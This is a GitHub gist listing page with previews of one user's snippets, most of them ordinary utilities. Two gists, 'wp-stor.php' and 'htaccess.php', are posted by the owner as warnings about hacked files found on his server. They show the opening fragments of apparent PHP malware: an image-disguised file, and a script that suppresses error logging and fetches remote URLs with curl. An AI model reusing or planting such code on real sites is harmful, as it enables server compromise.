Skip to content

Instantly share code, notes, and snippets.

@fqx
fqx / iframe_test_output.txt
Created March 12, 2026 06:52
zendriver nested iframe find() recursion test
============================================================
Page URL: file:///Users/fqx/PycharmProjects/BOSS-hire/test_iframe_nested/outer.html
============================================================
[Test 1] tab.find() by text (returns first match)
FOUND outer: 'I am in the OUTER frame'
FOUND middle: 'I am in the MIDDLE frame'
NOT FOUND inner (nested): Timeout (3s) waiting for element with text: 'I am in the INNER frame (nested iframe)'
[Test 2] tab.find_all('p') - how many <p> elements found?
@fqx
fqx / ilo_cleaning_analyze.py
Created April 2, 2025 03:39
a python script to analyze cleaning effectiveness of filter cleaning using ilo sensor data.
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
import numpy as np
from datetime import datetime
import pytz
# Read the CSV file
df = pd.read_csv('~/Downloads/history.csv')
@fqx
fqx / m3u.py
Created November 29, 2022 10:02
给m3u加上频道信息和台标
#!/usr/bin/python3
import requests, re
tgtfile = 'ptv.m3u'
url = 'https://raw.githubusercontent.com/Tzwcard/ChinaTelecom-GuangdongIPTV-RTP-List/master/GuangdongIPTV_rtp_hd.m3u'
api = 'http://epg.51zmt.top:8000/upload/'
rtp = re.compile(r'rtp://')
repl = 'http://192.168.000.000:0000/rtp/'
proxies = { }
@fqx
fqx / hev2hvc.sh
Created April 17, 2022 08:48
convert hev1 to hvc1 for Apple devices
#!/bin/bash
TOTAL=$(ls *.mp4 | wc -l)
for i in *.mp4
do
ffmpeg -loglevel quiet -y -i "$i" -c copy -movflags +faststart -threads 0 -tag:v hvc1 "temp.mp4"
mv -f "temp.mp4" "$i"
echo $i
done | tqdm --total $TOTAL >> /dev/null
@fqx
fqx / Force Caixin to HTTPS.user.js
Created January 29, 2021 02:07
fix Caixin same site cookie problem
// ==UserScript==
// @name Force Caixin to HTTPS
// @namespace r-a-y/https
// @version 1.0.0
// @match http://*.caixin.com/*
// @run-at document-start
// @description Force Caixin to use HTTPS.
// ==/UserScript==
document.location.replace(document.location.href.replace(/http\:/, 'https:'));
@fqx
fqx / anti-ad-clash.yaml
Created July 24, 2020 02:24
EasyList for clash
This file has been truncated, but you can view the full file.
payload:
#TITLE=anti-AD
#VER=20200721225341
#URL=https://github.com/privacy-protection-tools/anti-AD
#TOTAL_LINES=36572
- DOMAIN-SUFFIX,00-gov.cn
- DOMAIN-SUFFIX,kwcdn.000dn.com
- DOMAIN-SUFFIX,kwcscdn.000dn.com
- DOMAIN-SUFFIX,kwflvcdn.000dn.com
- DOMAIN-SUFFIX,s8.001fzc.com
@fqx
fqx / wp-stor.php
Created June 29, 2020 14:05
WARNING! This is a hacked file found on my server!
JFIF  ` ` à


  Á  
ш N j" ߠ  
࿠ } !1AQa"q2咑䳢r?
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz冇꒓旘⣤稩㴵蹺ƒąƇȉʒӔՖטٚᢣ䥦稩걲䵶蹿?   
@fqx
fqx / htaccess.php
Created June 29, 2020 13:56
WARNING! This is a hacked file found on my server!
<?php
ignore_user_abort(true);
set_time_limit(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
function getURL($url, $maxRedirs = 5, $timeout = 30)
{
$ch = curl_init(); $header[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; $header[] = "Connection: keep-alive"; $header[] = "Keep-Alive: 300"; $header[] = "Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3"; $header[] = "Pragma: "; curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($c
@fqx
fqx / COVID19.ipynb
Last active February 28, 2020 09:08
COVID-19 confirmed case prediction
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@fqx
fqx / Caps2Shift.ahk
Created February 21, 2020 01:32
AutoHotKey config file to simulate Caps key like macOS
#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases.
; #Warn ; Enable warnings to assist with detecting common errors.
SendMode Input ; Recommended for new scripts due to its superior speed and reliability.
SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory.
$CapsLock::
KeyWait, CapsLock, T0.5
If ErrorLevel {
SetCapsLockState % !GetKeyState("CapsLock", "T")
KeyWait, CapsLock
} Else